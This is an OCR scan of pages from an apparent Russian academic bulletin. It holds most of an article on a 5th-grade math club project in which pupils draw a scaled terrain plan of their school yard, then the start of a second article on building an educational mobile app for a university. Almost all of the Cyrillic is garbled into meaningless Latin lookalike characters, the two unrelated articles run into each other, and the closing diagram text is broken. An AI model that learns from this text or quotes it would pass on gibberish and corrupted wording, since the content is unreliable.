— KJIFOYEBYIO KOMIIETEHLUIO «HAYYUTh YUYUTHCS;

— CIIOCOOHOCTh CAaMOCTOSITETILHOTO MPUHSATHS PELICHUN U ONpeIeTICHHS IEPCIIEKTUB;

— TOTOBHOCTh K CaMOCTOATEJIbHOMY IUIAHMPOBAHHUIO OT IIOCTAHOBKM 3a7a4, pEUICHUS
npo6JeM 10 aHalu3a MpoJIeIaHHON pabOThI;

— OBJQJICHHE HAaBBIKAMHU Yy4e€OHO-HCCIIEOBATEIBCKONW, MPOEKTHOW W COLMAIbHON
NEeATEIbHOCTH;

— KPUTHYECKOE MBIILICHHUE.

Haubonee nosnHo penienne JaHHBIX 3a/1a4 0XBATHIBAET MPOEKTHAsSI TEXHOJIOTHUS B paMKax
BHEKJIACCHOW pabOThI, B TOM YHUCIIE U 110 MaTEMATHKE.

[Ipoekt myisi ydyeHHMKa BBICTYNAeT CpencTBOM camopeanuzauud. IlorpeOHOCTH B
CaMOTIO3HAaHUHU M CaMOpEAJIN3alMHU SBJISIETCS BaKHEUIIeH MOTPeOHOCTHIO B MOAPOCTKOBOM
BO3pacTe, OJHUM M3 Hauboyiee MOIIHBIX CTHUMYJIOB UX JesTenbHoOcTH [1]. B mcuxomoro-
MeIarOrMYECKUX MCCIEIOBaHUAX OOpallaeTcss BHHMaHHE Ha OCOOCHHOCTH TOBEACHUS
IIKOJIbHUKOB  5-6 kimaccoB. OTMeyaroTcsi 4YacThle MpoOJieMbl B CaMOOpraHU3alUUd U
MOTHUBAIMH K CAMOIIOJITOTOBKE, 000CTPSIIOIIMECS K KOHILY y4eOHOTO JIHS; MOBBIIIEHUE YPOBHS
SMOLMOHAIIBHOTO PEArMpOBaHUsl HA BO3HUKAKOLIUE TPYJHOCTH, B HAJIAKUBAHMM KOHTAKTa
C yuduTeneM M oOliee MOBBIIIEHUE SMOIMOHATBHON 4yBCTBUTEIbHOCTH [2]. [loaTOMy npu
pa3paboTKe MaTeMaTH4eCKOro KpyXKKa M OpraHu3aluM IPOEKTHOW JIeSATEIbHOCTH
MSATHKJIACCHUKOB HEOOXOIMMO YYUTHIBATh BBHIIICNIEPEUHCICHHBIE 0COOCHHOCTH.

192



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

Kpome Toro, paspabarbiBasi HpOEKTHI ISl IIKOJHLHUKOB IO MaTeMaTHKE, MOJIE3HO
YYUTHIBATh ~MHTETPALMI0 JAaHHOH NpPEIMETHOW O00JacTM C  eCTeCTBEHHOHAYYHBIMU
JUCIHUILIMHAME. Tako# MoAX0/1 MO3BOJISET PACIIUPITh KPYro30p 00y4yarouuxcs 1 MOKa3bIBaeT
CBSI3b MATEMATUKHU C APYTUMU IIPEIMETAMU, KOTOPBIE N3YYaIOTCSI B LLIKOJIE.

Llenvio cmambu sBASETCS OMHMCAHHME pa3pabOTKU MPOEKTa MO CO3JaHUI0 IUIaHa
MECTHOCTH M YIPABJIEHUS IPOEKTHOM J1€ATENBHOCTHIO IIKOJBHUKOB I10 €r0 peaanu3aluu.

Ocnoenas yacms. OKCIEOUIMOHHBIE, TMOJeBble (OPMBI 3aHATUNA HalUIA CBOE
IPUMEHEHNUE B aJIbTEPHATUBHOM NpOBeAeHUM 3aHATHS 1o TeMe «llman mectHoctu. Cpena
OoOMTaHMs YeNOBEKa» B BHUJE COCTABIICHHS IUIAHA MECTHOCTH C TPOM3BOJBHO BHIOPAHHBIM
macimtaboM. CorjmacHo ydeOHO-TeMaTHUecKOMYy IUIaHy paloThl KpyXKKa g S5 Kiacca
1[eJIeCO00Pa3HO IIAHUPOBATH PA0OTY HA/l MPOESKTOM B paMKax TeMbl BTOPOH yueOHOH Henenu
amnperns.

N3yuenne kaprorpaduu 3aKiaaabBacT 0a30BbIe NMPAKTHUECKUE HABBIKH, MTO3BOJISIOIIIE
OpPUEHTUPOBATHCS B MPOCTPAHCTBE, PACIIO3HABATH reorpauuecKyro IeHCTBUTEIBHOCTD O €€
M300paKECHHUIO Ha KapTe, MOJIydaTh MPU MOMOIIM HEE BCIO HEOOXOIMMYIO B TOW WM MHOU
yueOHOM UITN MPaKTUYECKO# cutyaruu nHpopmaio. Dopmupyembie KOMIETEHIIUN HAXOASAT
[MIMPOKOE MPUMEHEHHE B APYTUX YYEOHBIX AMCUUIUIMHAX, 00JACTAX 3HAHUHM U MPAKTUYECKON
JNESTENIbHOCTH — B HUCTOPUHM, OHOJOTHHM, acTPOHOMHUHU, BOEHHOM [elie, B pEKpealuH,
CTPOUTENIbCTBE, MH)KEHEPHBIX HayKaX.

B wMmammem mIKONBHOM BO3pacTeé 3HAYMMOCTh MPOCTPAHCTBEHHOTO MBIILICHUS
HanOosnee Bhicoka. OOYCIIOBIEHO 3TO TOMUHUPOBAHUEM HArJISIIHO-OOpPa3HOTO MBIIUICHUS, a
TaK)Ke y4yacTHEM 3PUTEIbHO-IPOCTPAHCTBEHHBIX (DYHKIUN B mporeccax auddepeHInpoBKY,
y3HaBaHUsl U BOCHPOU3BEJCHUS OyKB U LU(P, C KOTOPbIX HAUMHAETCS OBJIAJICHUE NMHCbMOM,
YTEeHUEM U cueToM [3].

Hymmna N.B., Tamoxussa E.A., benoBonosa E.A. u npyrue METoauCThl OTMEYAKOT, YTO
YMEHUE «IIOHUMAaTh» KApTy O3HAYAeT UMETh 3HAHUA O KapTe KaK MOJAEIU M €€ BaKHEHUIIUX
CBOMCTBax (KJIIOUEBBIE KauecTBa KapThl, TIeoJe3nyeckas M MaTeMaThyeckas OCHOBA,
reorpaduueckoe coiepkaHue) ¥ yMEeTh MPUMEHSTh UX TIPU PEIICHNH YUeOHBIX 3a/1a4. PaBHbIM
00pa3oM ymMeHue OHUMAaTh, BCE HAJMKICH, YCIOBHbIE 0003HaYeHMsI Ha KapTe [4].

Kommuiekc neficTBuil o YTeHHI0 reorpaduueckoil KapThl OCHOBBIBAETCS HA CIIEAYIOIINX
MPAKTUYECKUX YMEHUSX y4dalllerocs: pa30MpaThCs B YCIOBHBIX 3HaKax U KapTorpaduueckoit
CEeTKe; OMpEeJeNATh PAaCCTOSHUS, KOOPJAUHATHI, reorpapuueckoe MOJ0KEHHE; UCIOIb30BaTh
KapThl PAa3JIMYHBIX MPOEKIUI U MacIITabOB; yCTaHABIMBATH B3aUMOCBS3H reorpaduueckux
00BEKTOB.

B pamkax moaroTtoBku, MpoBeneHUs padOT Ha MECTHOCTH, COCTABJIEHUS U arpoOanuu
TOTOBOTO MPOAYKTA (IIJJaHA MECTHOCTH) TIOJTHOCTBIO PEAJIN30BBIBAETCS METO, IIPOEKTOB.

[Ipennaraercss HOCTPOUTH PabOTY HaJl MPOEKTOM CIEAYIOIIUM 00pa3oM:

— TOTpYXEeHHEe B TPOeKT (00muii cOOp y4YaCTHHUKOB KpYyKKa, OPUEHTHUPOBAH Ha
TEOPETUYECKYIO MOATOTOBKY IIKOJIHHUKOB K BBIITOJIHEHHUIO 3a/1aHUsA: 0030p BCIIOMOTaTeIbHOMN
JUTEPATyphl, MpeIaraeTcs MPUMEPHBIA NEpPEeYeHb TEM K CaMOCTOSITEIIbHOMY H3yUYEHHIO,
orpezesieHue HeoOX0AMMOro 000pyI0BaHus);

— OopraHu3zanus JesATENbHOCTH (pa3[eieHHe WICHOB KpPY>KKa Ha HEOOIBIIUE TPYIIIHI,
pacmpeieieHue pPoJieid, MOCTAaHOBKA MPAKTUYECKOTO 3aJaHMsl M OCHOBHBIX TPeOOBaHHM K
KOHEYHOMY MPOAYKTY, €r0 MPE3CHTAIUN U arpoOaIiim);

— OCYILECTBJIEHHUE ACSITEIBHOCTH (COCTaBJIEHNE KAPThl MECTHOCTH COIVIACHO NMPHUHSITHIM
YCIIOBHBIM 0003Haue€HUN OOBEKTOB MECTHOCTH Ha Kapre, penbeda, Mo3HaHUSM B 00JIacTH
PACTUTENBHOTO U )KUBOTHOT'O MUpPa POJHOTO Kpasi, KOPPEKTHO BBIOJIHEHHOTO YEPTEXa);

— TMpe3eHTalusi pe3yiabTaToB (ampolamus YjIeHaMH pa3HbIX KOMAaHJ[ KayecTBa
COCTaBJICHHBIX MJIAHOB MECTHOCTH I10 OCTaBJICHHBIM KJIFOUEBBIM METKaM).
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Ilepewtit 3man noozomoeku. Ilozpyscenue 6 npoexkm.

OOm1re paMKu COCTaBIISIIOT 3aHATHS KPY)KKA 110 MaTEMAaTUKE C Y4€TOM IPOTPAMMBI €T0
JEATEIbHOCTH [5].

OOmwmii cOOp yYaCTHHKOB KpYXKKa 3a Mapy 3aHATUH A0 MPOEKTHOW NesTeIbHOCTH
OPUEHTHPOBAH HA TEOPETHYECKYI0 IOJrOTOBKY IIKOJIHHHUKOB K BBIIOJHEHUIO 3aJaHUs.
Bxitoyaer 0030p BCIIOMOTaTeNbHOM JUTEpaTypbl K CAMOCTOSITEIBHOMY H3y4YCHHIO.
[Ipennaraercss MPUMEpPHBIN CHUCOK TE€M K CaMOCTOSITEJIbBHOMY H3YUYEHHIO YYaCTHHKAMHU
KpyXKKa:

1. Pactenusi, rpuObI v TUIAHHUKHA, TPOU3PACTAIOIINE HA TEPPUTOPHH TOPOJIA.

2. )KuBOTHBIE, NTHUIIBI U HACEKOMBIE, OOUTAIOLINE B TAHHOW MECTHOCTH.

3. Haubonee pacnpocTpaHeHHBIH TPYHT B JaHHOW MECTHOCTH.

4. Macmrab B kaprorpadum.

5. YcnoBHble 0003HaUEHUS HA KapTax.

6. Kommac. IIpaBuna ucnoab30BaHus.

PaccmoTpenue 4acTHBIX BONPOCOB BKJIIOUYEHHS MaTepUaloOB KPAaeBEACHUS B YPOK
MaTEeMaTHKU TO3BOJIET CHAENaTh YPOK, COOTBETCTBYIOLIMM COBPEMEHHBIM TpeOOBaHUSIM,
[I03HABATEJIbHBIM U UHTEpPECHBIM [6]. IIpu 3TOM HanMuMe MarHUTHOro KoMmmaca eJaTeNlbHo,
HO He sBISETCA 00s3aTelabHbIM, B CiIy4ae BCTPOSGHHOM yTUIUTHL Ha cMmapTdoHe
(mpemycTaHOBIIGHHOE TMpWIOKEeHHEe Ha MHorux Android-ycrpoiicTBax, paboraer uepe3
texHosoruto GPS u reomaruuTHbIN gaTuukK) [7].

l'otoButcst no 20 3amanuii Ha Temy Macmrald. WX moaroroBkoil 3aHuMaeTcst J1nOo
yUUTeNb, BEAYUIMH KPYXKOK, MO0 3aJaHHe TMOATOTOBHTH COOTBETCTBYIOIIUE 3a/layl
pacnpenensoTcs MeXAY IIKOJbHUKaMU (110 BO3MOKHOCTSIM YYaCTHUKOB KpPYKKa).

[TpuBenem mpuMepsl MOAOOHBIX 3a1aHUI:

1. Jliuna otpe3ka Ha kKaprte 3 cMm. HallTu mJIMHY COOTBETCTBYIOIIETO OTpe3Ka Ha
MECTHOCTH, eciau MaciuTad kaptsl 1 : 1000000

2. Paccrosinue ot bpecra no Braguoctoka 6omee 10 000 km. YMecTuTcs i Ha OTHON
CTpaHMIIE TETPaI 3TO PACCTOSHUE B MacIITabe 0/1HA 1ECATUMUIUIMOHHAS?

Bmopoit sman. Opzanuzayun desmenvrnocmu.

UneHbl MaTEMAaTHYECKOT0 KPY>KKa IIOPOBHY JAEJATCA Ha Ipymibl. ONTUMaIbHOW BUAUTCS
pabota B rpynnax u3 3-5 yenoek. CTUXuiitHOE (OPMUPOBAHUE HEKETATEIBHO, KaK U HKECTKOE
JIeJICHUE LIKOJBHUKOB YUMTEIEM, YTO MPOTUBOPEUUT UIESIM JTUYHOCTHO-OPUEHTHPOBAHHOTO
nonaxoja. Hanbomnee noaxoasium cuuTaeM caMOOPTaHU3allMIo B 3apaHee 3a/1aHHbIX YCIOBUSIX
[8]. Boibupaercs nmuaep Kaxa0i KoMaH[Ibl, 103Ke MPEAOCTABISAIONIMNA OTYET O MPOAETaHHOM
paboTe U 3alKIIaroIMi MOATOTOBIEHHbII BCEMH MTPOEKT.

Pacnpenenenue poneil u 00s13aHHOCTEN SIBJISIETCS] BXKHBIM I1arOM, BO BpeMsi KOTOPOTO
yunutenab 00s3aH Y4YUTHIBATH JIMYHYIO 3aWHTEPECOBAHHOCTh Y4Yalllerocs B JaHHOM BHJE
JeSITeIbHOCTH, €ro BO3MOXHOCTH, YPOBEHb HArpy3Kd Kak Ha OTIENbHOIO y4YeHHKa, TaK U
COpPa3MEpHOCTh paACHpEeeNeHNUs YYaCTHHKOB KpYyKKa IO HANpaBJIEHUSM JEATEIbHOCTH C
00beMOM padoT.

OcHOBHasi 4acTb NpOEKTa 3alUlaHMpPOBaHA Ha TEPPUTOPHM IIKOJBHOTO JBOpa Ha
YeTBEPThIN KajeH1apHblid Mecsi. [IpoBoauTces B ciryyae G1aronpHUsTHBIX MTOTOHBIX YCIOBHA.

Kaxnoii rpymme craBuTcs 3ajjaHHe€ COCTAaBUTh KapTy MECTHOCTH: IIKOJIBHOTO JBOpa
(yJacTka MIKOJBHOTO JBOPA) M MOATOTOBUTH KPAaTKUN pacckas o peibede, rpyHTe, pacTeHHUIX
1 )KMBOTHBIX MECTHOCTH, YKa3aB €€ pa3Mepbl, 0003HAaUMB HaIlPaBJICHHUE CEBEP-IOT.

[TpoBepka MpaBUWIIBHO BBHINOJIHEHHOTO 3aJaHMs BKJIIOYAeT OCTaBJIEHHBIE HA KapTe TPU
METKH, COTJIACHO KOTOpPHIM KOMaHJa Ha CBOEM Yy4YacTKe JOJDKHAa CKpBITh JIUCTBI C
MOJITOTOBJICHHBIMHU 3apaHee 331aHusIMHU Ha yMeHue paboTsl ¢ MaciTaboM. I[Tocne cocraBnenus
KapThl TPYMIbl B3aMMHO OOMEHUBAIOTCS COCTABIEHHBIMU CXEMaMH — U MIPUCTYMHAIOT K TOUCKY
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OCTaBJICHHBIX aBTOpPaMU KapT 3ahad. [Ipy mOJBEIEHUM HTOTOB YUYHUTHIBAETCS KauyecTBO
COCTaBJICHHBIX IUIAHOB MECTHOCTM. JTa 4YacThb 3aJaHMsl paHee HCIOJIb30Balach B HIPeE
«3apHuIia», KOTOpas sBJIAIACh YACThIO NATPUOTHYECKOrO BOCIIUTAHUSA, YTO OUYEHb aKTyalbHO
B HaIllU JTHU.

OJeMeHThl UIPOBOM JESITENbHOCTH CIIyKaT Ul OoiblIedl MOTHBALMM YYaCTHUKOB
IIPOEKTa C yYETOM HMX BO3PACTHOM KaTErOpHH, SIBISIFOTCS OAHUM U3 MPUEMOB IPEOIOJICHUS
MaCCUBHOCTU YYEHUKOB [9].

13 Heo0X0AMMOT0 OCHAIIICHHSI IIPOEKTA: 3aI1ac IUIOTHBIX JIUCTOB (popmarta A4, IIaHIIEThI
0 KOJMYECTBY KOMaHJA /Ui HAHECEHHH IOMETOK Ha Oymary B IIOJIEBBIX YCIIOBHSX,
NUCbMEHHBIE IIPUHA/IIEKHOCTH, BKIIOYAsl LIBETHBIE KapaHalllH, KoMIIac.

Tpemuit s3man. Ocywiecmenenue deamenbHOCHu.

[Tpy BBHIMONHEHUM NMPOEKTA YYACTHUKAM KPYXKa MOHAA00STCS CleqyIoUIe 3HaHUS U3
psna yueOHBIX AUCLUILINH.

Teoepagus

B mpouecce paboTel Haa NpoeKTOM OyayT MpakTUYECKH 3aKperyieHbl 0a30Bble
KOMIIETEHIIMH U3 Ha4aJIbHOTO Kypca reorpaduu. B ToMm uucie, yreHue ycioBHbIX 0003HAYSHUN
00BEKTOB MECTHOCTH Ha KapTe, paboTa ¢ MacimTabom KapThl.

TpaauunoHHO npeanosaraercs n300paxkeHue penbeda MECTHOCTU MIPU MCIIOJIb30BaHUU
TOPU30HTAJIEN — U3BUJINCTBIX JIMHUM, COOTBETCTBYIOILIME OJHON BBICOTE HaJl yPOBHEM MOPSI.

Jis u3MepeHHsl pacCTOSHUS MeXAy OOBeKTaMM KapTbl, HEOOXOIMMO YUMTHIBATH
BBIOpPAaHHBINA MacITal: KaK YACICHHBIN, TaK U JIMHEHHBIH.

buonozua

Jlsis KOPpEeKTHOrO0 HAaHECEHHsI Ha KapTy MECTHOCTH YCJIOBHBIX O0OO3HAaYECHUH 3eJICHBIX
HACaX/E€HUH, THE3JOBUH TMTHUI, BHJIOB TIPYHTOBOIO IOKPBHITUA HEOOXOJUMbI 3HAHMUS,
MOJIy4YE€HHBIE HA YpOKaX MPUPOJIOBEACHUS U OMOJIOTHH.

Jlnis o603HaueHHs 3apocieil KycTapHUKa YYUTHIBA€TCSA MX IUIOTHOCTb: Ha BBIIEICHHOM
ob0nactu u300pakaeTcsi KOJIMYECTBO YCJIOBHBIX O0O3Hau€HUM KycTa, paBHOE BUAMMOMY
KOJIMYECTBY OT/AEIbHBIX KyCTOB Ha METP KBaPaTHBIN.

Tpyoosoe o0byuenue

AcnexT oopMiIeHHs KapThl MECTHOCTH JISKUT B 001aCTH YepUEHUS. DTH TUCIUITIIMHBI
ABJIIOTCS B3aUMOJOIOJIHSAIOIIMMU C TOYKM 3PEHUS Pa3BUTHS MBIIUICHUS y4alluxcs B
IIPOLIECCE  BBIABIECHUS IPOCTPAHCTBEHHBIX CBOMCTB IIPEIMETOB YEpPE3 IPHUBIICUEHUE
rpaduueckux 3HaHuN M HaBbIKOB [10]. B ¢opmare paccmarpuBaeMoro mpoekTa BKIIIOYAET:
OCHOBBI 3aJ[aHUsl TPAHMI] TOCTPOEHUSI CXEMbl MECTHOCTHU (paMKa), KOppeKTHoe odopMieHne
JIETe€H/Ibl KapThl, HEYKOCHUTEIBHOE COOJII0/IEHNE YKAa3aHHbBIX B JIET€H 1€ MacllITada U yCIOBHBIX
0003HauEHU.

Mamemamuxka

Yucnennsld Maciita® KapThl MPUHATO 3alMChIBaTh KaK OTHOILICHHE JBYX YHCEN C
yKa3zaHueM pa3MepHocTH. [ mpumepa mpuBeieM pacuer Haubosee yJo0HOro AJis CO3qaHus
BEPHOI KapThl MECTHOCTH MacIITa0a.

Tak xak IKOJbHUKAaM HE BCErjia JIOCTYIHBI cCOpa3MepHble MPUOOpPhl U3MEPEHUS JIITMHbI
Ha MECTHOCTH, TO IPEUIaraéM BOCIIOJIb30BaThCS TOCTYITHBIMU CpeicTBaMHU. JlJIMHA U IIMpUHA
y4acTKa JI0 TepeceueHust Ha KapTy 3aMepseTcsl KOJIMYECTBOM IIaroB OJJHOTO U3 IIKOJIbHUKOB
komaHabl. [locme »TOro KomaHga pemaer, Kakod wmacmrad BbIOpaTh i Hambosee
paloHaIbHOIO UCIOJIB30BaHNUs JOCTYITHOM MIIOIIAIH JIUCTA.

lem @ 50 mar (ums) o3Havaet, uro 1 cM Ha kapTe cooTBeTcTBYeT 50 MIaroB JaHHOTO
y4acTHUKA KPY>KKa Ha MECTHOCTH.

[Tocne Toro, kak B BHIOpAaHHOHN €IMHUIIE U3MEPEHUS UIMHBI TPOBEICHBI 3aMephbl TPaHHULL
y4acTKa, IIKOJIbHUKU JOJKHBI BBIICHUTb, KAKOM MacITal MO3BOJUT YMECTUTh BCIO KapTy Ha
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JUCT OyMmMaru Tak, 4YToObl OHA HE BBIIUIA 3HAYUTEIBHO MEHBIIEH IO CpPaBHEHHIO ¢ OOmien
IUTOIIABIO JIUCTA (3aHUMAaJIa XOTs OBl JIBE TPETU MPOCTPAHCTBA O€3 JIETCHIBI).

Jlunelinplii MacmTad, Kak MpAMYI, pa3leléHHYI0O Ha OTPE3KH paBHOW JITMHBI
(ocHOBaHMs TUHEHHOTO MaciTaba) y100HO HAHECTH Ha KOHTYpP 00OpaMIIsSIoeld paMKU KapThl.

Kpome BbIuuCIIEHUS PACCTOSHUN Ha MECTHOCTH U COIIOCTABJIEHHUEM HX C YCIOBHBIMH,
pabota ¢ KapToil MHpeAroyaraeT HaBBIKM PEIICHHUS MPOCTHIX JHHEWHBIX YpaBHEHUN JUIS
OIpEeJIEJIEHUS YUCIIa 3HAKOB ITPH IUIOTHOM CKOIUIEHUH YKa3aHHBIX OOBEKTOB HA MECTHOCTH.

[IpuMep MOTHBAaLIMOHHBIX CBEJICHUN:

HecrannaptHast enunHuna umsmepenus paccrosHuil. 1 cmyr = 1,7018 merpa. Ona
BO3HUKJIA NPHU IOINBITKE U3MEPEHMs JUIMHBI ['apBapACcKOro Mocra € MOMOINBIO OJHOIO U3
ctyneHToB, Onusepa Cmyta, poctom 1 metp 70 caHTUMETPOB.

MynbTdunbm «38 momyraeB win Kak U3MEpPUTh CBOM pOCT».

Yemeepmutii sman. Ilpezenmayus pezynvmamog

UYreHue KapThl OCYLIECTBIAETCA B ABYX (hopMax:

a) yACHEHUE 0COOCHHOCTEH TEPPUTOPUH U CO3JJaHKE MBICIICHHOTO 00pa3a n300paxEHHON
TEPPUTOPUH, YTO BBIPAKAETCS B ONHUCAHUU TEPPUTOPHUH 110 YCIOBHBIM 0003HAYECHUSM;

0) BCKpBITHE 3aKOHOMEPHOCTEW M 3aBUCHMOCTEH MEXIy reorpa@uuecKuMu 00beKTaMu
U MX IPU3HAKaAMH.

[IpesenTanus npoekra (akTUYECKH HAYMHAETCSd Ha BTOPOM JTale, a 3aBeplLIacTcs
o0cyx/1eHueM 00BEKTOB, PACIOJI0KEHHBIX HA TEPPUTOPUH LLIKOJILHOTO ABOPA.

Bv16o0bi. Takum 00pazoM, MPaKTUUECKOE UCIOIb30BaHIUE OCBOCHHBIX B XOJI€ 3aHATUH B
MaTeMaTHYECKOM KpYKKE€ KOMIIETEHIMH [0 MaTeMaTUKe, MPUPOAOBEAECHUIO, TPYIOBOMY
O00y4YEeHHIO, TIOJIOKUTEIFHBIA OMBIT TOJEBOTO HCCIEAOBAHUS SIBISETCS KpailHE Ba)KHBIMU
acleKTaMH peajH3allMM MOCTAaBICHHBIX IieJei mpoekra. PaboTa Haj OMUCAHHBIM MPOEKTOM
SBJIAETCS JIMYHOCTHO 3HAYMMOM NJIs KaXKIOro YYEHHKa, MO3BOJSET BbIpadOTaTh YYBCTBO
OTBETCTBEHHOCTH, pa3BUTb TBOPYECKHE CIIOCOOHOCTH, 0a30Bbleé HABBIKM COLHAIBLHON
NeSITeIbHOCTH, NPHUBHUBAET KYJIbTYpPY OOLIEHMs. YIpaBlIeHHE NPOEKTHOM JeSTEIbHOCTHIO
MOJIPOCTKOB B 3TOM HAITPaBJIEHUH CITIOCOOCTBYET Pa3BUTHIO Y HUX CAMOCO3HAHMS, CAMOOLICHKH,
UTPAIOLMXE pEelIalollyld pojib B  IPOLECCe JIMYHOCTHOTO CaMOOIPENETIeHUs |
CaMOpEryJIHpPOBaHUSI.
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Annotation. The article presents the development of a mathematical circle lesson on "Terrain plan. Habitat of
Humanity", designed for students of 5th to 6th grade. The development takes into account the specifics of the
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PA3ZPABOTKA OBPA3OBATEJIbHOI'O MOBUJIBHOI'O ITPHJIOKEHUA

boiixo A.B.

Hayunwtii pykosooumens: Cazupoeé U.B., cmapwuii npenodaeamens
Jlazapesckaa FO.A., cmapuwiuii npenooasameins

Mapuynonvckuii 20cyoapcmeeHHblil yHUugepcumnem

Aunnomayus. B naHHO# paboTe paccMmaTpuBaeTcs pa3padOTKa MOOMJIBHOTO HPHIIOKEHHUS B 00pa3oBaTEIbHOM
npolecce B BbICHIEM Y4eOHOM 3aBelIcHUH. BBISBIEHBI OCHOBHBIE 1IEJIH, 3aJa4d U 3Tallbl Ipolecca pa3paboTKu
MOOMJIBHOTO TIPUJIOKEHHUS, @ TaKXKe IPEACTaBICHBI €ro HPOTOTHIBL lcronb3oBaHHE TaKOTO INPHIIOKEHHS
00yCIJIOBIICHO Pa3BUTHEM COBPEMEHHBIX MH()OPMALIMOHHBIX TEXHOJIOTHI.

Kniouegvie cnosa: pazpaboTka, MOOMIIBHOE NPUIIOKEHUE, 00pa30BaTeIbHBIN pecypc, 00pa3oBaTeIbHBIN IPOIEcC.

CoBpeMeHHBIE TEHICHIIMH B cHCcTeMe 00pa30BaHUsl HAINPaBJICHHBI HA IH(POBHU3ALNIO
npouecca odoydenun. PenepanbHbiii 3akoH oT 14 wmions 2022 1. N298-O3 «O BHeceHuu
n3MeHennii B dexepanpubiii 3akoH «O06 obpazoBanuu B Poccuiickoir @enepanum» [1] cran
OCHOBOMH JUIsl CHIDKEHUS KOJIMUYECTBA JJOKYMEHTOB, KOTOPbIE JJOJKEH 0(OpMIIATh eJaror. 1o
Ba)XHBII 3aKOH Ha MyTH K IH(poBu3anuu odpasoBanus [2,3].

VY GonbIIMHCTBA CTYACHTOB M MpernojaBareiel Bcera noJ pykoi ectb cMapToH 1100
TUTAHIIET, YTO 00eCIeYnBaeT MPAKTUYECKH HETPEPHIBHOE B3aMMOAeHcTBHE. Mcmonp3oBanme
MOOMJIBHBIX YCTPOWCTB B 00pa30BaHUM CTAHOBUTCS Bce Oosiee BaXKHBIM, IOCKOJIBKY HE BCEra
€CTh BO3MOXXHOCTH ITPOBOJUTH 3aHATHS B aynauTopusax. Co3naHrne MOOMIBHBIX MPHIIOKEHHH,
MOJIE3HBIX Kak JJIs MpernojaBarenell, Tak U Ui CTYACHTOB, MO3BOJUT YIYYIIUTh HPOIECC
oOyueHusi B COBpeMEHHBIX ycioBusX (cankuuu, CBO) u B Toke BpeMsl yCOBEpPILIEHCTBOBATD
crcreMy oOMeHa HHpopManrei MeXy MPEeTnoAaBaTesIMUA U CTYICHTaMH.

MoOWIBHBIM NPUJIOKEHUEM HA3bIBAIOT NMPOrpaMMHOE OOeclieyeHne, YCTaHaBIMBAEMOE
Ha MOOWJIbHBIE YCTPOWCTBA, TAKME KaK CMapT(OHBI U IUIAHIIETHI.

[TpenmymiecTBa MOOMIIBHBIX MPUIIOKEHUH BKIIIOYAIOT:

® VIPOIIEHHOE B3aUMOJIEUCTBUE C MOJIb30BATENISAMH,
® JIOCTYHN K YHUKAJIbHBIM BO3MOKHOCTSIM YCTPOHCTBA,
e obecrmedyeHue OoJee TOUHOM MepcoHanu3anuu [4].

B03MOKHOCTH KOMIBIOTEPHBIX TEXHOJOTUN MO3BOJSIOT B KOPOTKHE CPOKU CO3/aBaTh
MIOJTHOIIEHHBIE TPUJIOKEHHUsT JUIS pabOThI TpEToAaBaTesied W TUCTAaHIIMOHHOTO OOYYEeHUs
CTY/IEHTOB.

Cy1iecTByeT HECKOJIBKO JIOBOJIbHO MHTEPECHBIX 00pa30BaTENIbHBIX PECYPCOB U ITOPTAIOB
s oOyueHHust M perneTuTopcTBa, Takux kak GoogleClass, Kahoot, Factile, LearningApps,
OnlineTestPad u npyrue. OnHako cienyeT OTMETUTD, 9YTO HEKOTOPBIE U3 HUX HEIOCTYITHBI I
3aIpeleHbl B COBPEMEHHBIX YCIOBUSX, TMOO0 SBISIOTCS TIATHBIMHU WIIM HUMEIOT OTPAHUYEHHYIO
¢dbysakuoHanbHOCTh [4]. [ToaTomMy co3nanne cOOCTBEHHOIO MOOMIBHOIO 00pa30BaTEIbHOTO
MIPUIIOKEHHUS SBISIETCS aKTYaJIbHBIM.

enbto nanHOi pabOTHI ABIsETCS pa3padoTKa MOOUIBLHOTO MPHIIOKEHUS U1 YCKOPEHUS
U aJIalTallid K COBPEMEHHBIM YCIOBHUSAM Yy4eOHOT O Mpoliecca B YHUBEPCHUTETE.

PaccMoTpuM OCHOBHBIE 33]a4y M dTallaMu BBITTOTHEHHS TIpoekTa (puc.1.):

1. Pa3paboTka KOHLENIMM U aJanTauus CHCTEMbl OOYy4YeHHMS C HCIIOJIb30BaHUEM
MOOWJIBHOTO TpHIIOKeHHs. Ha 3ToM dTame mpoBOAWTCS aHAIU3 [EJNEBOW ayAWTOPHH,
KOHKYPEHTOB U Ipoduiieii norpeduresnein. 310 He0OX0IMMO Ui CO3AaHUS TPOAYKTa, KOTOPBIN
OyZeT He TOJIbKO YCTOMYMBBIM, HO U BOCTPEOOBaHHBIM Yy BBIOpaHHOHN ayautopuu. Taxoke
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olnpeneNnsercss TeXHU4YecKre TpeOoBaHMs K pa3paboTke, moadopka Moaysel, BbIOOp 0a3bl
JAHHBIX U IPyTUe JIeTallu MPOEKTa.

2. Co3nanue MPUIOKEHUS] ¢ HAOOPOM MoJyJel [t mpouecca oOydenus. Ha atom srane
(dopmupyercs u pa3pabaThIBacTCs HEMOCPEICTBEHHO caMO MPUJIOKEHHE, CO3/1aeTCs JU3aliH,
KOTOPBII OyJeT He TOJIbKO KPACUBBIM, HO M (DYHKI[MOHAJIbHBIM.

3. TectupoBanue cucreMbl u JopaboTka Moayneld. DYHKIHMOHAIBHOCTh MOOMIBHOTO
NPUJTIOKEHUST TECTUPYETCS B HECKOJbKO JTaloB, 4TOObI yOeauTcsi, 4TO OHO paboTaeT
MPAaBUIIBLHO U O€3 OIIMOOK.

4. Co3naHue TeCTOBBIX 33aJJaHU/, BHJICO U TEKCTOBOI'O KOHTEHTA IO MPEIMETaM.

5. BHenpenue cucteMbl B yueOHBII IpoliecCc BBICIIEr0 y4yeOHOro 3aBeACHUs. ITO
¢uHanpHas craaus npoekTa. [IpunoxeHne TOTOBUTCS K 3aIyCKy U MPOXOIUT MOJAECPHU3ALIUIO.
3areM oHO OyzeT onyOIMKOBAHO U AOCTYIHO JJIs I10JIb30BaTEIs.

* OEHABHAN KOMAOKOBES pafy e Bmbop Gasel gaskes. Tuna ofasuwors cepeaca
o+ OnpEgenEHaE MEOPHTETOS ..

=~ CO30aHUE NMNo#kEHHA. PaspaboTka npoToting. Co30aHMe Ju3anHa.

| o Paspabotes Mo Ay R, SAeMENTOR, WATOE M T8,
# ThoHAKAIEHIE B EaftTY W M EEtE H AR paM, 0ENaKY

| Nporpammuposarue. TECTHPOERHHKE.

AYTEHTHRHMESLMA.
| BESOMACHOCTL

CO30aHWE KOHTEHTE

* Bieo, Syado, TEHETOBAMD M T 0.
* HaneHAsps coBLTHRA, PECANCAHWE, MEpPORPHATAN H T.0.

